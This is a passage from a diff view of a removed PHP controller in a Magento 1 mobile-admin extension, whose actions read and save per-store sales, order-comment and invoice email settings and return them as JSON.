| 2578 |
-
Mage::getConfig()->saveConfig('sales_email/order/enabled', $post_data['salesEmailEnableVal'], 'default', $storeId);
|
| 2579 |
-
}
|
| 2580 |
-
else
|
| 2581 |
-
{
|
| 2582 |
-
Mage::getConfig()->saveConfig('sales_email/order/enabled', $post_data['salesEmailEnableVal'], 'stores', $storeId);
|
| 2583 |
-
}
|
| 2584 |
-
|
| 2585 |
-
$salesEmailsAcion['successMessage'] = "Sales Email Extension updated On ".$storeName." Store.";
|
| 2586 |
-
Mage::getConfig()->reinit();
|
| 2587 |
-
Mage::app()->reinitStores();
|
| 2588 |
-
}
|
| 2589 |
-
$salesEmailsAcion['salesEmailEnableSelectedValue'] = Mage::getStoreConfig('sales_email/order/enabled', $storeId);
|
| 2590 |
-
|
| 2591 |
-
|
| 2592 |
-
|
| 2593 |
-
//New Order Confirmation Email Sender
|
| 2594 |
-
if(isset($post_data['newOrderConfirmationVal']))
|
| 2595 |
-
{
|
| 2596 |
-
if($storeId == 0)
|
| 2597 |
-
{
|
| 2598 |
-
Mage::getConfig()->saveConfig('sales_email/order/identity', $post_data['newOrderConfirmationVal'], 'default', $storeId);
|
| 2599 |
-
}
|
| 2600 |
-
else
|
| 2601 |
-
{
|
| 2602 |
-
Mage::getConfig()->saveConfig('sales_email/order/identity', $post_data['newOrderConfirmationVal'], 'stores', $storeId);
|
| 2603 |
-
}
|
| 2604 |
-
|
| 2605 |
-
$salesEmailsAcion['successMessage'] = "New Order Confirmation Email Sender updated On ".$storeName." Store.";
|
| 2606 |
-
Mage::getConfig()->reinit();
|
| 2607 |
-
Mage::app()->reinitStores();
|
| 2608 |
-
}
|
| 2609 |
-
|
| 2610 |
-
$newOrderConfirmationSelectedValue = Mage::getStoreConfig('sales_email/order/identity', $storeId);
|
| 2611 |
-
|
| 2612 |
-
foreach ($this->emailSendersListArray() as $value)
|
| 2613 |
-
{
|
| 2614 |
-
if($value['value'] == $newOrderConfirmationSelectedValue)
|
| 2615 |
-
{
|
| 2616 |
-
$emailComArr['label'] = $value['label'];
|
| 2617 |
-
$emailComArr['value'] = $value['value'];
|
| 2618 |
-
$emailComArr['status'] = 1;
|
| 2619 |
-
$salesEmailsAcion['newOrderConfirmationList'][] = $emailComArr;
|
| 2620 |
-
}
|
| 2621 |
-
else
|
| 2622 |
-
{
|
| 2623 |
-
$emailComArr['label'] = $value['label'];
|
| 2624 |
-
$emailComArr['value'] = $value['value'];
|
| 2625 |
-
$emailComArr['status'] = 0;
|
| 2626 |
-
$salesEmailsAcion['newOrderConfirmationList'][] = $emailComArr;
|
| 2627 |
-
}
|
| 2628 |
-
|
| 2629 |
-
}
|
| 2630 |
-
|
| 2631 |
-
|
| 2632 |
-
//New Order Confirmation Template
|
| 2633 |
-
if(isset($post_data['newOrderEmailTemplateVal']))
|
| 2634 |
-
{
|
| 2635 |
-
if($storeId == 0)
|
| 2636 |
-
{
|
| 2637 |
-
Mage::getConfig()->saveConfig('sales_email/order/template', $post_data['newOrderEmailTemplateVal'], 'default', $storeId);
|
| 2638 |
-
}
|
| 2639 |
-
else
|
| 2640 |
-
{
|
| 2641 |
-
Mage::getConfig()->saveConfig('sales_email/order/template', $post_data['newOrderEmailTemplateVal'], 'stores', $storeId);
|
| 2642 |
-
}
|
| 2643 |
-
|
| 2644 |
-
$salesEmailsAcion['successMessage'] = "New Order Confirmation Template updated On ".$storeName." Store.";
|
| 2645 |
-
Mage::getConfig()->reinit();
|
| 2646 |
-
Mage::app()->reinitStores();
|
| 2647 |
-
}
|
| 2648 |
-
|
| 2649 |
-
$newOrderEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/order/template', $storeId);
|
| 2650 |
-
|
| 2651 |
-
$newOrderEmailTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 2652 |
-
$newOrderEmailTemCollection = $newOrderEmailTemObj->toOptionArray();
|
| 2653 |
-
if($newOrderEmailTemCollection[0]['value'] == "")
|
| 2654 |
-
{
|
| 2655 |
-
$newOrderEmailTemCollection[0]['value'] = "sales_email_order_template";
|
| 2656 |
-
}
|
| 2657 |
-
//echo "<pre>"; print_r($newOrderEmailTemCollection); die;
|
| 2658 |
-
foreach ($newOrderEmailTemCollection as $value)
|
| 2659 |
-
{
|
| 2660 |
-
if($value['value'] == $newOrderEmailTemplateSelectedValue)
|
| 2661 |
-
{
|
| 2662 |
-
$newOrderEmailTemArr['label'] = "New Order (".$value['label'].")";
|
| 2663 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 2664 |
-
$newOrderEmailTemArr['status'] = 1;
|
| 2665 |
-
$salesEmailsAcion['newOrderEmailTempColl'][] = $newOrderEmailTemArr;
|
| 2666 |
-
}
|
| 2667 |
-
else
|
| 2668 |
-
{
|
| 2669 |
-
$newOrderEmailTemArr['label'] = "New Order (".$value['label'].")";
|
| 2670 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 2671 |
-
$newOrderEmailTemArr['status'] = 0;
|
| 2672 |
-
$salesEmailsAcion['newOrderEmailTempColl'][] = $newOrderEmailTemArr;
|
| 2673 |
-
}
|
| 2674 |
-
}
|
| 2675 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 2676 |
-
|
| 2677 |
-
|
| 2678 |
-
//New Order Confirmation Template for Guest
|
| 2679 |
-
if(isset($post_data['newOrderForGuestVal']))
|
| 2680 |
-
{
|
| 2681 |
-
if($storeId == 0)
|
| 2682 |
-
{
|
| 2683 |
-
Mage::getConfig()->saveConfig('sales_email/order/guest_template', $post_data['newOrderForGuestVal'], 'default', $storeId);
|
| 2684 |
-
}
|
| 2685 |
-
else
|
| 2686 |
-
{
|
| 2687 |
-
Mage::getConfig()->saveConfig('sales_email/order/guest_template', $post_data['newOrderForGuestVal'], 'stores', $storeId);
|
| 2688 |
-
}
|
| 2689 |
-
|
| 2690 |
-
$salesEmailsAcion['successMessage'] = "New Order Confirmation Template for Guest updated On ".$storeName." Store.";
|
| 2691 |
-
Mage::getConfig()->reinit();
|
| 2692 |
-
Mage::app()->reinitStores();
|
| 2693 |
-
}
|
| 2694 |
-
|
| 2695 |
-
$forGuestEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/order/guest_template', $storeId);
|
| 2696 |
-
|
| 2697 |
-
$newOrderEmailGuestTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 2698 |
-
$newOrderEmailGuestTemCollection = $newOrderEmailGuestTemObj->toOptionArray();
|
| 2699 |
-
if($newOrderEmailGuestTemCollection[0]['value'] == "")
|
| 2700 |
-
{
|
| 2701 |
-
$newOrderEmailGuestTemCollection[0]['value'] = "sales_email_order_guest_template";
|
| 2702 |
-
}
|
| 2703 |
-
|
| 2704 |
-
//echo "<pre>"; print_r($emailTemCollection); die;
|
| 2705 |
-
foreach ($newOrderEmailGuestTemCollection as $value)
|
| 2706 |
-
{
|
| 2707 |
-
if($value['value'] == $forGuestEmailTemplateSelectedValue)
|
| 2708 |
-
{
|
| 2709 |
-
$forGuestOrderEmailTemArr['label'] = "New Order for Guest (".$value['label'].")";
|
| 2710 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 2711 |
-
$forGuestOrderEmailTemArr['status'] = 1;
|
| 2712 |
-
$salesEmailsAcion['newOrderForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 2713 |
-
}
|
| 2714 |
-
else
|
| 2715 |
-
{
|
| 2716 |
-
$forGuestOrderEmailTemArr['label'] = "New Order for Guest (".$value['label'].")";
|
| 2717 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 2718 |
-
$forGuestOrderEmailTemArr['status'] = 0;
|
| 2719 |
-
$salesEmailsAcion['newOrderForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 2720 |
-
}
|
| 2721 |
-
}
|
| 2722 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 2723 |
-
|
| 2724 |
-
|
| 2725 |
-
//Send Order Email Copy To
|
| 2726 |
-
if(isset($post_data['emailCopyToVal']))
|
| 2727 |
-
{
|
| 2728 |
-
if($storeId == 0)
|
| 2729 |
-
{
|
| 2730 |
-
Mage::getConfig()->saveConfig('sales_email/order/copy_to', $post_data['emailCopyToVal'], 'default', $storeId);
|
| 2731 |
-
}
|
| 2732 |
-
else
|
| 2733 |
-
{
|
| 2734 |
-
Mage::getConfig()->saveConfig('sales_email/order/copy_to', $post_data['emailCopyToVal'], 'stores', $storeId);
|
| 2735 |
-
}
|
| 2736 |
-
|
| 2737 |
-
$salesEmailsAcion['successMessage'] = "Send Order Email Copy To Value updated On ".$storeName." Store.";
|
| 2738 |
-
Mage::getConfig()->reinit();
|
| 2739 |
-
Mage::app()->reinitStores();
|
| 2740 |
-
}
|
| 2741 |
-
$salesEmailsAcion['emailCopyToSelectedValue'] = Mage::getStoreConfig('sales_email/order/copy_to', $storeId);
|
| 2742 |
-
|
| 2743 |
-
|
| 2744 |
-
|
| 2745 |
-
//Send Order Email Copy Method
|
| 2746 |
-
if(isset($post_data['orderEmailCopyVal']))
|
| 2747 |
-
{
|
| 2748 |
-
if($storeId == 0)
|
| 2749 |
-
{
|
| 2750 |
-
Mage::getConfig()->saveConfig('sales_email/order/copy_method', $post_data['orderEmailCopyVal'], 'default', $storeId);
|
| 2751 |
-
}
|
| 2752 |
-
else
|
| 2753 |
-
{
|
| 2754 |
-
Mage::getConfig()->saveConfig('sales_email/order/copy_method', $post_data['orderEmailCopyVal'], 'stores', $storeId);
|
| 2755 |
-
}
|
| 2756 |
-
|
| 2757 |
-
$salesEmailsAcion['successMessage'] = "Send Order Email Copy Method Value updated On ".$storeName." Store.";
|
| 2758 |
-
Mage::getConfig()->reinit();
|
| 2759 |
-
Mage::app()->reinitStores();
|
| 2760 |
-
}
|
| 2761 |
-
$salesEmailsAcion['orderEmailCopySelectedValue'] = Mage::getStoreConfig('sales_email/order/copy_method', $storeId);
|
| 2762 |
-
|
| 2763 |
-
|
| 2764 |
-
// echo "<pre>"; print_r($salesEmailsAcion); die;
|
| 2765 |
-
$jsonData = Mage::helper('core')->jsonEncode($salesEmailsAcion);
|
| 2766 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 2767 |
-
}
|
| 2768 |
-
catch(Exception $e)
|
| 2769 |
-
{
|
| 2770 |
-
$errorResult['error'] = $e->getMessage();
|
| 2771 |
-
|
| 2772 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 2773 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 2774 |
-
}
|
| 2775 |
-
}
|
| 2776 |
-
else
|
| 2777 |
-
{
|
| 2778 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 2779 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 2780 |
-
}
|
| 2781 |
-
}
|
| 2782 |
-
|
| 2783 |
-
|
| 2784 |
-
public function salesEmailsOrderCommentsAction()
|
| 2785 |
-
{
|
| 2786 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 2787 |
-
{
|
| 2788 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 2789 |
-
$sessionId = $post_data['session'];
|
| 2790 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 2791 |
-
{
|
| 2792 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 2793 |
-
return false;
|
| 2794 |
-
}
|
| 2795 |
-
|
| 2796 |
-
try
|
| 2797 |
-
{
|
| 2798 |
-
$storeId = $post_data['store'];
|
| 2799 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 2800 |
-
|
| 2801 |
-
|
| 2802 |
-
//Order Comments
|
| 2803 |
-
|
| 2804 |
-
//Enabled
|
| 2805 |
-
if(isset($post_data['salesEmailCommentEnableVal']))
|
| 2806 |
-
{
|
| 2807 |
-
if($storeId == 0)
|
| 2808 |
-
{
|
| 2809 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/enabled', $post_data['salesEmailCommentEnableVal'], 'default', $storeId);
|
| 2810 |
-
}
|
| 2811 |
-
else
|
| 2812 |
-
{
|
| 2813 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/enabled', $post_data['salesEmailCommentEnableVal'], 'stores', $storeId);
|
| 2814 |
-
}
|
| 2815 |
-
|
| 2816 |
-
$salesEmailsAcion['successMessage'] = "Sales Email for Order Comment Extension updated On ".$storeName." Store.";
|
| 2817 |
-
Mage::getConfig()->reinit();
|
| 2818 |
-
Mage::app()->reinitStores();
|
| 2819 |
-
}
|
| 2820 |
-
$salesEmailsAcion['salesEmailCommentEnableSelectedValue'] = Mage::getStoreConfig('sales_email/order_comment/enabled', $storeId);
|
| 2821 |
-
|
| 2822 |
-
|
| 2823 |
-
|
| 2824 |
-
//Order Comment Email Sender
|
| 2825 |
-
if(isset($post_data['newOrderConfirmationCommentVal']))
|
| 2826 |
-
{
|
| 2827 |
-
if($storeId == 0)
|
| 2828 |
-
{
|
| 2829 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/identity', $post_data['newOrderConfirmationCommentVal'], 'default', $storeId);
|
| 2830 |
-
}
|
| 2831 |
-
else
|
| 2832 |
-
{
|
| 2833 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/identity', $post_data['newOrderConfirmationCommentVal'], 'stores', $storeId);
|
| 2834 |
-
}
|
| 2835 |
-
|
| 2836 |
-
$salesEmailsAcion['successMessage'] = "Order Comment Email Sender updated On ".$storeName." Store.";
|
| 2837 |
-
Mage::getConfig()->reinit();
|
| 2838 |
-
Mage::app()->reinitStores();
|
| 2839 |
-
}
|
| 2840 |
-
$newOrderConfirmationSelectedValue = Mage::getStoreConfig('sales_email/order_comment/identity', $storeId);
|
| 2841 |
-
|
| 2842 |
-
foreach ($this->emailSendersListArray() as $value)
|
| 2843 |
-
{
|
| 2844 |
-
if($value['value'] == $newOrderConfirmationSelectedValue)
|
| 2845 |
-
{
|
| 2846 |
-
$emailComArr['label'] = $value['label'];
|
| 2847 |
-
$emailComArr['value'] = $value['value'];
|
| 2848 |
-
$emailComArr['status'] = 1;
|
| 2849 |
-
$salesEmailsAcion['newOrderConfirmationCommentList'][] = $emailComArr;
|
| 2850 |
-
}
|
| 2851 |
-
else
|
| 2852 |
-
{
|
| 2853 |
-
$emailComArr['label'] = $value['label'];
|
| 2854 |
-
$emailComArr['value'] = $value['value'];
|
| 2855 |
-
$emailComArr['status'] = 0;
|
| 2856 |
-
$salesEmailsAcion['newOrderConfirmationCommentList'][] = $emailComArr;
|
| 2857 |
-
}
|
| 2858 |
-
|
| 2859 |
-
}
|
| 2860 |
-
|
| 2861 |
-
|
| 2862 |
-
|
| 2863 |
-
//Order Comment Email Template
|
| 2864 |
-
if(isset($post_data['newOrderEmailCommentTemplateVal']))
|
| 2865 |
-
{
|
| 2866 |
-
if($storeId == 0)
|
| 2867 |
-
{
|
| 2868 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/template', $post_data['newOrderEmailCommentTemplateVal'], 'default', $storeId);
|
| 2869 |
-
}
|
| 2870 |
-
else
|
| 2871 |
-
{
|
| 2872 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/template', $post_data['newOrderEmailCommentTemplateVal'], 'stores', $storeId);
|
| 2873 |
-
}
|
| 2874 |
-
|
| 2875 |
-
$salesEmailsAcion['successMessage'] = "Order Comment Email Template updated On ".$storeName." Store.";
|
| 2876 |
-
Mage::getConfig()->reinit();
|
| 2877 |
-
Mage::app()->reinitStores();
|
| 2878 |
-
}
|
| 2879 |
-
|
| 2880 |
-
$newOrderEmailTemplateCommentSelectedValue = Mage::getStoreConfig('sales_email/order_comment/template', $storeId);
|
| 2881 |
-
|
| 2882 |
-
$newOrderEmailCommentTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 2883 |
-
$newOrderEmailTemCommentCollection = $newOrderEmailCommentTemObj->toOptionArray();
|
| 2884 |
-
if($newOrderEmailTemCommentCollection[0]['value'] == "")
|
| 2885 |
-
{
|
| 2886 |
-
$newOrderEmailTemCommentCollection[0]['value'] = "sales_email_order_comment_template";
|
| 2887 |
-
}
|
| 2888 |
-
//echo "<pre>"; print_r($newOrderEmailTemCommentCollection); die;
|
| 2889 |
-
foreach ($newOrderEmailTemCommentCollection as $value)
|
| 2890 |
-
{
|
| 2891 |
-
if($value['value'] == $newOrderEmailTemplateCommentSelectedValue)
|
| 2892 |
-
{
|
| 2893 |
-
$newOrderEmailTemArr['label'] = "Order Update (".$value['label'].")";
|
| 2894 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 2895 |
-
$newOrderEmailTemArr['status'] = 1;
|
| 2896 |
-
$salesEmailsAcion['newOrderEmailTempCommentColl'][] = $newOrderEmailTemArr;
|
| 2897 |
-
}
|
| 2898 |
-
else
|
| 2899 |
-
{
|
| 2900 |
-
$newOrderEmailTemArr['label'] = "Order Update (".$value['label'].")";
|
| 2901 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 2902 |
-
$newOrderEmailTemArr['status'] = 0;
|
| 2903 |
-
$salesEmailsAcion['newOrderEmailTempCommentColl'][] = $newOrderEmailTemArr;
|
| 2904 |
-
}
|
| 2905 |
-
}
|
| 2906 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 2907 |
-
|
| 2908 |
-
|
| 2909 |
-
|
| 2910 |
-
//Order Comment Email Template for Guest
|
| 2911 |
-
if(isset($post_data['newOrderForGuestCommentVal']))
|
| 2912 |
-
{
|
| 2913 |
-
if($storeId == 0)
|
| 2914 |
-
{
|
| 2915 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/guest_template', $post_data['newOrderForGuestCommentVal'], 'default', $storeId);
|
| 2916 |
-
}
|
| 2917 |
-
else
|
| 2918 |
-
{
|
| 2919 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/guest_template', $post_data['newOrderForGuestCommentVal'], 'stores', $storeId);
|
| 2920 |
-
}
|
| 2921 |
-
|
| 2922 |
-
$salesEmailsAcion['successMessage'] = "Order Comment Email Template for Guest updated On ".$storeName." Store.";
|
| 2923 |
-
Mage::getConfig()->reinit();
|
| 2924 |
-
Mage::app()->reinitStores();
|
| 2925 |
-
}
|
| 2926 |
-
$forGuestEmailTemplateCommentSelectedValue = Mage::getStoreConfig('sales_email/order_comment/guest_template', $storeId);
|
| 2927 |
-
|
| 2928 |
-
$newOrderEmailGuestCommentTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 2929 |
-
$newOrderEmailGuestTemCommentCollection = $newOrderEmailGuestCommentTemObj->toOptionArray();
|
| 2930 |
-
if($newOrderEmailGuestTemCommentCollection[0]['value'] == "")
|
| 2931 |
-
{
|
| 2932 |
-
$newOrderEmailGuestTemCommentCollection[0]['value'] = "sales_email_order_comment_guest_template";
|
| 2933 |
-
}
|
| 2934 |
-
|
| 2935 |
-
//echo "<pre>"; print_r($emailTemCollection); die;
|
| 2936 |
-
foreach ($newOrderEmailGuestTemCommentCollection as $value)
|
| 2937 |
-
{
|
| 2938 |
-
if($value['value'] == $forGuestEmailTemplateCommentSelectedValue)
|
| 2939 |
-
{
|
| 2940 |
-
$forGuestOrderEmailTemArr['label'] = "Order Update for Guest (".$value['label'].")";
|
| 2941 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 2942 |
-
$forGuestOrderEmailTemArr['status'] = 1;
|
| 2943 |
-
$salesEmailsAcion['newOrderForGuestCommentColl'][] = $forGuestOrderEmailTemArr;
|
| 2944 |
-
}
|
| 2945 |
-
else
|
| 2946 |
-
{
|
| 2947 |
-
$forGuestOrderEmailTemArr['label'] = "Order Update for Guest (".$value['label'].")";
|
| 2948 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 2949 |
-
$forGuestOrderEmailTemArr['status'] = 0;
|
| 2950 |
-
$salesEmailsAcion['newOrderForGuestCommentColl'][] = $forGuestOrderEmailTemArr;
|
| 2951 |
-
}
|
| 2952 |
-
}
|
| 2953 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 2954 |
-
|
| 2955 |
-
|
| 2956 |
-
|
| 2957 |
-
|
| 2958 |
-
//Send Order Comment Email Copy To
|
| 2959 |
-
if(isset($post_data['emailCopyToCommentVal']))
|
| 2960 |
-
{
|
| 2961 |
-
if($storeId == 0)
|
| 2962 |
-
{
|
| 2963 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/copy_to', $post_data['emailCopyToCommentVal'], 'default', $storeId);
|
| 2964 |
-
}
|
| 2965 |
-
else
|
| 2966 |
-
{
|
| 2967 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/copy_to', $post_data['emailCopyToCommentVal'], 'stores', $storeId);
|
| 2968 |
-
}
|
| 2969 |
-
|
| 2970 |
-
$salesEmailsAcion['successMessage'] = "Send Order Comment Email Copy To updated On ".$storeName." Store.";
|
| 2971 |
-
Mage::getConfig()->reinit();
|
| 2972 |
-
Mage::app()->reinitStores();
|
| 2973 |
-
}
|
| 2974 |
-
$salesEmailsAcion['emailCopyCommentToSelectedValue'] = Mage::getStoreConfig('sales_email/order_comment/copy_to', $storeId);
|
| 2975 |
-
|
| 2976 |
-
|
| 2977 |
-
|
| 2978 |
-
//Send Order Comments Email Copy Method
|
| 2979 |
-
if(isset($post_data['orderEmailCopyCommentVal']))
|
| 2980 |
-
{
|
| 2981 |
-
if($storeId == 0)
|
| 2982 |
-
{
|
| 2983 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/copy_method', $post_data['orderEmailCopyCommentVal'], 'default', $storeId);
|
| 2984 |
-
}
|
| 2985 |
-
else
|
| 2986 |
-
{
|
| 2987 |
-
Mage::getConfig()->saveConfig('sales_email/order_comment/copy_method', $post_data['orderEmailCopyCommentVal'], 'stores', $storeId);
|
| 2988 |
-
}
|
| 2989 |
-
|
| 2990 |
-
$salesEmailsAcion['successMessage'] = "Send Order Comments Email Copy Method Value updated On ".$storeName." Store.";
|
| 2991 |
-
Mage::getConfig()->reinit();
|
| 2992 |
-
Mage::app()->reinitStores();
|
| 2993 |
-
}
|
| 2994 |
-
$salesEmailsAcion['orderEmailCopyCommentSelectedValue'] = Mage::getStoreConfig('sales_email/order_comment/copy_method', $storeId);
|
| 2995 |
-
|
| 2996 |
-
|
| 2997 |
-
//echo "<pre>"; print_r($salesEmailsAcion); die;
|
| 2998 |
-
$jsonData = Mage::helper('core')->jsonEncode($salesEmailsAcion);
|
| 2999 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3000 |
-
}
|
| 3001 |
-
catch(Exception $e)
|
| 3002 |
-
{
|
| 3003 |
-
$errorResult['error'] = $e->getMessage();
|
| 3004 |
-
|
| 3005 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 3006 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3007 |
-
}
|
| 3008 |
-
}
|
| 3009 |
-
else
|
| 3010 |
-
{
|
| 3011 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 3012 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 3013 |
-
}
|
| 3014 |
-
}
|
| 3015 |
-
|
| 3016 |
-
|
| 3017 |
-
public function salesEmailsOrderInvoiceAction()
|
| 3018 |
-
{
|
| 3019 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 3020 |
-
{
|
| 3021 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 3022 |
-
$sessionId = $post_data['session'];
|
| 3023 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 3024 |
-
{
|
| 3025 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 3026 |
-
return false;
|
| 3027 |
-
}
|
| 3028 |
-
|
| 3029 |
-
try
|
| 3030 |
-
{
|
| 3031 |
-
$storeId = $post_data['store'];
|
| 3032 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 3033 |
-
|
| 3034 |
-
|
| 3035 |
-
//Invoice
|
| 3036 |
-
|
| 3037 |
-
//Enabled
|
| 3038 |
-
if(isset($post_data['salesEmailInvoiceEnableVal']))
|
| 3039 |
-
{
|
| 3040 |
-
if($storeId == 0)
|
| 3041 |
-
{
|
| 3042 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/enabled', $post_data['salesEmailInvoiceEnableVal'], 'default', $storeId);
|
| 3043 |
-
}
|
| 3044 |
-
else
|
| 3045 |
-
{
|
| 3046 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/enabled', $post_data['salesEmailInvoiceEnableVal'], 'stores', $storeId);
|
| 3047 |
-
}
|
| 3048 |
-
|
| 3049 |
-
$salesEmailsAcion['successMessage'] = "Sales Email Extension for Invoice updated On ".$storeName." Store.";
|
| 3050 |
-
Mage::getConfig()->reinit();
|
| 3051 |
-
Mage::app()->reinitStores();
|
| 3052 |
-
}
|
| 3053 |
-
$salesEmailsAcion['salesEmailInvoiceEnableSelectedValue'] = Mage::getStoreConfig('sales_email/invoice/enabled', $storeId);
|
| 3054 |
-
|
| 3055 |
-
|
| 3056 |
-
|
| 3057 |
-
//Invoice Email Sender
|
| 3058 |
-
if(isset($post_data['invoiceEmailVal']))
|
| 3059 |
-
{
|
| 3060 |
-
if($storeId == 0)
|
| 3061 |
-
{
|
| 3062 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/identity', $post_data['invoiceEmailVal'], 'default', $storeId);
|
| 3063 |
-
}
|
| 3064 |
-
else
|
| 3065 |
-
{
|
| 3066 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/identity', $post_data['invoiceEmailVal'], 'stores', $storeId);
|
| 3067 |
-
}
|
| 3068 |
-
|
| 3069 |
-
$salesEmailsAcion['successMessage'] = "Invoice Email updated On ".$storeName." Store.";
|
| 3070 |
-
Mage::getConfig()->reinit();
|
| 3071 |
-
Mage::app()->reinitStores();
|
| 3072 |
-
}
|
| 3073 |
-
$invoiceEmailSelectedValue = Mage::getStoreConfig('sales_email/invoice/identity', $storeId);
|
| 3074 |
-
|
| 3075 |
-
foreach ($this->emailSendersListArray() as $value)
|
| 3076 |
-
{
|
| 3077 |
-
if($value['value'] == $invoiceEmailSelectedValue)
|
| 3078 |
-
{
|
| 3079 |
-
$emailComArr['label'] = $value['label'];
|
| 3080 |
-
$emailComArr['value'] = $value['value'];
|
| 3081 |
-
$emailComArr['status'] = 1;
|
| 3082 |
-
$salesEmailsAcion['invoiceEmailList'][] = $emailComArr;
|
| 3083 |
-
}
|
| 3084 |
-
else
|
| 3085 |
-
{
|
| 3086 |
-
$emailComArr['label'] = $value['label'];
|
| 3087 |
-
$emailComArr['value'] = $value['value'];
|
| 3088 |
-
$emailComArr['status'] = 0;
|
| 3089 |
-
$salesEmailsAcion['invoiceEmailList'][] = $emailComArr;
|
| 3090 |
-
}
|
| 3091 |
-
|
| 3092 |
-
}
|
| 3093 |
-
|
| 3094 |
-
|
| 3095 |
-
|
| 3096 |
-
|
| 3097 |
-
//Invoice Email Template
|
| 3098 |
-
if(isset($post_data['newOrderInvoiceEmailTemplateVal']))
|
| 3099 |
-
{
|
| 3100 |
-
if($storeId == 0)
|
| 3101 |
-
{
|
| 3102 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/template', $post_data['newOrderInvoiceEmailTemplateVal'], 'default', $storeId);
|
| 3103 |
-
}
|
| 3104 |
-
else
|
| 3105 |
-
{
|
| 3106 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/template', $post_data['newOrderInvoiceEmailTemplateVal'], 'stores', $storeId);
|
| 3107 |
-
}
|
| 3108 |
-
|
| 3109 |
-
$salesEmailsAcion['successMessage'] = "Invoice Email Template updated On ".$storeName." Store.";
|
| 3110 |
-
Mage::getConfig()->reinit();
|
| 3111 |
-
Mage::app()->reinitStores();
|
| 3112 |
-
}
|
| 3113 |
-
$newOrderInvoiceEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/invoice/template', $storeId);
|
| 3114 |
-
|
| 3115 |
-
$newOrderInvoiceEmailTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 3116 |
-
$newOrderInvoiceEmailTemCollection = $newOrderInvoiceEmailTemObj->toOptionArray();
|
| 3117 |
-
if($newOrderInvoiceEmailTemCollection[0]['value'] == "")
|
| 3118 |
-
{
|
| 3119 |
-
$newOrderInvoiceEmailTemCollection[0]['value'] = "sales_email_invoice_template";
|
| 3120 |
-
}
|
| 3121 |
-
//echo "<pre>"; print_r($newOrderInvoiceEmailTemCollection); die;
|
| 3122 |
-
foreach ($newOrderInvoiceEmailTemCollection as $value)
|
| 3123 |
-
{
|
| 3124 |
-
if($value['value'] == $newOrderInvoiceEmailTemplateSelectedValue)
|
| 3125 |
-
{
|
| 3126 |
-
$newOrderEmailTemArr['label'] = "New Invoice (".$value['label'].")";
|
| 3127 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 3128 |
-
$newOrderEmailTemArr['status'] = 1;
|
| 3129 |
-
$salesEmailsAcion['newOrderInvoiceEmailTempColl'][] = $newOrderEmailTemArr;
|
| 3130 |
-
}
|
| 3131 |
-
else
|
| 3132 |
-
{
|
| 3133 |
-
$newOrderEmailTemArr['label'] = "New Invoice (".$value['label'].")";
|
| 3134 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 3135 |
-
$newOrderEmailTemArr['status'] = 0;
|
| 3136 |
-
$salesEmailsAcion['newOrderInvoiceEmailTempColl'][] = $newOrderEmailTemArr;
|
| 3137 |
-
}
|
| 3138 |
-
}
|
| 3139 |
-
//echo $post_data['emailTemplateVal']."***";
|
